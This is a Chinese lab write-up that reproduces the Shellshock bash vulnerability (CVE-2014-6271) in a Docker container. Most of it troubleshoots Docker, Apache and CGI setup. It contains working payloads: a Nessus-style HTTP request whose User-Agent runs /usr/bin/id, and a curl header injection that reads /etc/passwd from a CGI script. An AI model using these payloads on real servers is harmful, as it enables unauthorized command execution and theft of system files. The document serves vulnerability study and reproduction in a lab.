前言
巨详细的复现过程等你来!因为遇到了很多问题,因此目录做的详细一些,方便大家查看和搜索对自己有用的内容。
复现过程是在我踩过很多坑后按照应该做的步骤梳理后的流程,目的是希望你可以一次成功不用遇到问题后各种填坑。如果你遇到不明白我为什么要采取一些看似无关的环境配置步骤的情况,可以到4. 遇到的问题
中看我的探索过程,希望可以提示你。
漏洞原理
Bash支持通过进程环境导出shell变量和shell函数到子进程的其他的bash实例中。现有的bash版本使用环境变量实现这一过程。环境变量以函数名命名,以“() { }”作为环境变量的值传送函数定义。由于bash处理函数定义后仍会继续解析和执行跟在函数定义后的shell命令导致远程任意代码执行。
核心原因:没有严格限制输入的边界,没有合法化的参数判断。
详见:https://seclists.org/oss-sec/2014/q3/650
安天实验室对CVE-2014-6271破壳漏洞进行了详细的分析,且提供了其他参考资料。
例子:
VAR=() { ignored; }; /bin/id
当上述环境变量导入bash进程时将执行/bin/id
。
解决方案:安装补丁。在补丁中主要进行了参数的合法性过滤,补丁程序在/builtins/evalstring.c的parse_and_execute函数中进行了输入的command进行了合法性的边界检测。(CVE-2014-6271 的修补不够完善,导致CVE-2014-7169。)
利用方式
需要以下条件:
- 远程服务会调用bash。(创建bash子进程)
- 远程服务允许用户定义环境变量。
- 远程服务调用子bash时加载了用户定义的环境变量。
攻击向量:
- 对CGI脚本的HTTP请求(bash命令可能出现的位置有:请求方法,路径,服务器协议,Header的值(Referer、host、UserAgent等)。还可能出现在查询字符串,查询字符串变量名)
- OpenSSH(通过AcceptEnv,TERM,SSH_ORIGINAL_COMMAND)
- 涉及其他需要额外编程设置的环境变量的情况
复现过程
这部分的核心流程是按照安天实验室的一篇分析文档做的,其中增加了我填过的坑,帮助大家更顺利的进行复现。最近看了几篇安天的分析,安天在我心里的地位噌噌地上涨,感恩。
提示1
:我在复现过程中遇到了很多坑,如果你按流程走出现问题,可以去4. 遇到的问题
找找有没有对应的解决办法。
提示2
:最好把流程都看完再操作!可以对照4. 遇到的问题
浏览各步骤可能存在的问题,做到心中有数,提前应对。中间遇到好多坑,先大致看完流程可能会少走弯路。
Nessus was able to exploit the issue using the following request :
GET /xampp/cgi.cgi HTTP/1.1
Host: 目标IP
Accept-Charset: iso-8859-1,utf-8;q=0.9,;q=0.1
Accept-Language: en
Connection: Keep-Alive
User-Agent: () { ignored; }; echo Content-Type: text/plain ; echo ; echo ; /usr/bin/id;
Pragma: no-cache
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, /
1. 环境准备
本文使用虚拟机里的Ubuntu系统,docker,现有的shellshock镜像hmlio/vaas-cve-2014-6271
。
(1) 为容器配置固定IP地址
为了后续访问方便,先为容器配置固定的IP地址,可以参考这个教程。(当然也可以不设置固定)
-
首先创建自定义网络:
docker network create --subnet=172.18.0.0``/16 mynetwork
-
在创建docker容器时为其配置IP地址和端口映射
docker run -it --net mynetwork --ip 172.18.0.3 -p 80:80 hmlio/vaas-cve-2014-6271 /bin/bash
注意
:确保创建容器时没有使用相同端口映射的容器正在运行,否则将提示错误,无法创建容器。出现该问题时,可以使用dockr ps
查看正在运行的容器,使用docker stop 容器ID
将其停止即可。
(2) 查看bash版本
bash --version
确认是存在shellshock漏洞的bash版本。
2. 本地验证:测试镜像系统是否存在漏洞
测试payload:env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
测试发现镜像系统存在漏洞。
3. 远程模拟验证(原理验证)
以下是针对我们选用的镜像进行复现的完整流程,是我多次从坑里跳出来后重新梳理总结的,具体的解决问题的思路摸索过程可以到4. 遇到的问题
查找。
(1) 查看容器apache服务配置
apache的配置文件是/etc/apache2/sites-enabled/000-default。
我用的镜像没有vi和vim,因此需要自己下载安装。
首先要更新源,然后再安装vim。如下,将每条命令顺序单独执行。(参考这个操作就ok了。必须感谢!)
mv /etc/apt/sources.list /etc/apt/sources.list.bak
echo "deb http://mirrors.163.com/debian/ jessie main non-free contrib" >/etc/apt/sources.list
echo "deb http://mirrors.163.com/debian/ jessie-proposed-updates main non-free contrib" >>/etc/apt/sources.list
echo "deb-src http://mirrors.163.com/debian/ jessie main non-free contrib" >>/etc/apt/sources.list
echo "deb-src http://mirrors.163.com/debian/ jessie-proposed-updates main non-free contrib" >>/etc/apt/sources.list
#安装更新源
apt-get update
#安装vim
apt-get install vim
安装完成后
vim /etc/apache2/sites-enabled/000-default
打开配置文件,找到下面两句:
DocumentRoot /var/www
ScriptAlias /cgi-bin/ /usr/lib/cgi-bin
修改为:
DocumentRoot /var/www/html
ScriptAlias /cgi-bin/ /var/www/html/cgi-bin/
添加:
AddHandler cgi-script .cgi .pl .sh .py
修改完成的配置文件如下:
ScriptAlias /cgi-bin/ /var/www/html/cgi-bin/
<Directory "/var/www/html/cgi-bin/">
AddHandler cgi-script .cgi .pl .sh .py
AllowOverride None
Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
Order allow,deny
Allow from all
</Directory>
注意
:开始我以为<Directory "/var/www/html/cgi-bin/">
路径要与上一行的DocumentRoot路径一致。但是我测试发现如果使用原有的<Directory "/usr/lib/cgi-bin">
也是可以的。
(2) 编辑测试文件
注意
:vim创建多层目录下的文件时,需要手动创建好中间路径,否则编辑后无法保存。
创建多层目录:mkdir -p /var/www/html/cgi-bin
vim /var/www/html/cgi-bin/test.sh
#!/bin/bash
echo "Content-type: text/html"
echo ""
一定要把#!/bin/bash
放在首行,不能有空行!!!
给测试文件赋予执行权限,ls -l /var/www/html/cgi-bin/test.sh
查看文件权限。
更改文件权限:chmod 777 /var/www/html/cgi-bin/test.sh
”777“表示读写执行权限,如果想了解不同权限的对应数字,具体可以搜索Linux文件权限去学习。
(3) 重启apache服务
/etc/init.d/apache2 restart
使用service apache2 restart
也是可以的。
(4) 远程测试
开启一个新的终端,使用如下命令进行远程测试:
curl -H 'x: () { :;};a=
/bin/cat /etc/passwd;echo $a' 'http://IP地址/cgi-bin/test.sh' -I
命令中可改变a=/bin/cat /etc/passwd
;echo $a为任意命令进行执行。
当我们测试成功后,若把容器提交为镜像,再次用成功的镜像创建容器后也要重启apache服务才能被远程curl。
docker ps
查看正在运行的镜像,记录容器ID。
docker commit 容器ID 新的镜像名
提交镜像。
疑问
:为什么要在目标机上写一个bash文件,这样攻击时已具有写权限,不需再利用shellshock漏洞就能执行代码了吧?
思考
:
- bash文件可以是利用其他漏洞进行的文件上传的,而非直接写入,因此不代表攻击者需要拥有写权限。
- 即使攻击者拥有写权限,也不代表有执行权限来执行bash。
- shellshock是为bash文件提供了一种执行方式,没有执行权限的攻击者可以使其运行。
4. 遇到的问题
在这一小节总结了复现过程中遇到的问题,为方便大家阅读,标题格式确定为问题概述-->解决思路。我会将做过的尝试都记录下来,最后一次的尝试方法是能真正解决问题的方法,请大家根据自己的需求进行选择阅读。
注
:此部分截图是我的各次尝试汇总到一起的,因此容器ID不是相同的,前后使用的IP地址也可能是不同的,可以忽略这些细节。
(1) Kali无法开启伪终端-->Ubuntu
发现用Kali无法开启伪终端,而且docker run -it
后容器自动停止,没有找到有效的解决办法,因此改用Ubuntu。有了解原因的同学请指导指导我,到底怪Kali还是怪我。
(2)远程访问需要容器的IP地址-->为容器配置固定IP地址
开启容器bash后
不能查看容器的IP地址了,这让我很尴尬呀。
尝试1:将容器放到后台,在虚拟机用docker命令查看。
Ctrl+p+q
把容器挂入后台,docker ps
可以看到该容器进入后台运行,状态显示为up
。使用docker exec -it 容器ID IP addr
查看容器的IP地址。
直接在虚拟机内查询ifconfig
。--> 这种方式是完全错误的。因为docker0是宿主机为docker容器分配的默认网关,不是容器的IP。
疑问
:虚拟机查容器IP与在虚拟机用ifconfig
查到的docker0的IP不同。
思考
:docker0是宿主机为docker容器分配的默认网关,不是容器的IP。
尝试2:在容器内安装net-tools。
apt-get install net-tools
即可直接在容器内部使用ifconfig
查询IP地址。可以看到与在虚拟机查容器IP的值是一样的。
(3) 镜像未安装vim,且安装出错-->安装需更新源
使用vim命令出错,发现未安装vi和vim
使用apt-get install vim
安装出错,使用apt-get update
仍旧无法完成安装,问题是更新源太旧了。
需要重新编辑sources.list,但是现在没有vim,搜索方法,发现按这个操作就ok了。逐条运行下面各命令:
mv /etc/apt/sources.list /etc/apt/sources.list.bak
echo "deb http://mirrors.163.com/debian/ jessie main non-free contrib" >/etc/apt/sources.list
echo "deb http://mirrors.163.com/debian/ jessie-proposed-updates main non-free contrib" >>/etc/apt/sources.list
echo "deb-src http://mirrors.163.com/debian/ jessie main non-free contrib" >>/etc/apt/sources.list
echo "deb-src http://mirrors.163.com/debian/ jessie-proposed-updates main non-free contrib" >>/etc/apt/sources.list
//安装更新源
apt-get update
//安装vim
apt-get install vim
(4) vim自动创建多层目录下的文件时出错-->需要手动创建好中间路径
直接使用vim /var/www/html/cgi-bin/test.sh
创建并编辑测试文件,编辑好保存以后提示错误,无法保存。
尝试1:怀疑是权限问题,使用sudo(虽然已经是root用户了,不应该存在这种问题)
我今天才知道,sudo也是要安装的#_#,使用apt-get install sudo
即可安装。但是,用sudo还是不行,仍旧出现相同问题。
尝试2:目录创建问题,直接手动创建好目录——成功
无意中看到有人说,vim自动创建文件需要自己创建好中间路径,姑且一试,嗯……好了。因为我没注意少了两层目录,于是就一层一层创建的,如果想要一次创建多层目录,使用mkdir -ppparent/child/grandson
。
(5) 远程测试时无法连接-->给容器配置端口映射
curl -H 'x: () { :;};a=
/bin/cat /etc/passwd;echo $a' 'http://IP地址/cgi-bin/test.sh' -I
返回:
CURLE_COULDNT_CONNECT(7):connect()的主机或代理失败。目测是因为容器的端口没有映射到主机端口,所以没办法连接。
尝试1:修改容器的端口
之前试过docker run -p 80:80,可是80端口已被占用,没映射过去。因此先考虑修改容器的端口,使其可以映射。
vim /etc/apache2/sites-enabled/000-default
编辑apache配置文件,将其端口改为90。
/etc/init.d/apache2 restart
重启apache服务。
docker ps
查看正在运行的镜像,记录容器ID。
docker commit 容器ID 新的镜像名
提交镜像。
docker run -p 80:90 -it 镜像名称 /bin/bash
在创建容器时添加端口映射。
此时可以看到有两个正在运行的容器,新开的容器端口变为90,映射到虚拟机的80端口。
依旧无法远程测试,失败!
尝试2:检查虚拟机端口转发是否开启
cat /proc/sys/net/ipv4/ip_forward
查看端口转发情况,返回1,说明端口转发是开启的。
尝试3:考虑端口映射是否有问题-->发现没有问题
尝试4:检查是否虚拟机的端口未开启
用telnet测试发现无法连接,那么就首先开启虚拟机的80端口。Ubuntu系统使用ufw防火墙进行设置。详见https://www.cnblogs.com/EasonJim/p/7595213.html 和 https://jingyan.baidu.com/article/ac6a9a5e317b7c2b653eacde.html。
发现开启了80端口依旧无法连接。
尝试5:推翻重建——重新进行端口映射配置。——成功
实在是没有新的思路了,最终,我决定,重新进行端口映射配置。首先将之前改的apache的90端口再改回到80,重启apache服务。
接下来查看并删除原来的端口映射
再重新创建一条新的映射,将虚拟机的80端口映射到容器80端口。
再次尝试远程连接。(看到一个教程说访问时由于是由虚拟机映射到容器,因此,地址可以使用虚拟机IP地址,也可以使用容器IP地址,我就都试了一下)
两种访问方式:用虚拟机IP和容器IP
用虚拟机IP访问
用容器IP访问
现在可以远程访问了。
(6) 可以连接后HTTP 500并且没有返回应有的信息-->apache错误日志发现脚本无法执行,修改脚本错误
尝试1:查看并确保测试文件有可执行权限:ls -l /var/www/html/cgi-bin/test.sh
修改文件权限:chmod 777 /var/www/html/cgi-bin/test.sh
对解决问题有帮助,但仍然无法彻底解决问题。
尝试2:检查cgi配置(已经处在一种死马当活马医的状态中…)
检查是否有cgi模块:/usr/sbin/apache2ctl -M | grep cgi
返回cgid_module(shared)
说明已有该模块。
检查是否配置加载:vim /etc/apache2/mods-enabled/cgi.load
返回结果说明已经加载:
尝试3:检查apache配置文件
vim /etc/apache2/sites-enabled/000-default
发现cgi-bin的directory是不一致的,修改一致。但是后面测试发现此处不一致也是可以的。这是怪我不懂得apache配置文件的实质啊。
尝试4:检查是否测试文件存在问题,apache本身就不能执行该文件,而非配置问题
检查各种配置没问题,最后有个问答里的这句话点醒了我:
“You get 403 error not only if your apache configs aren't these directories allowed, but if even apache doesn't have the permission to reach this directory.”--from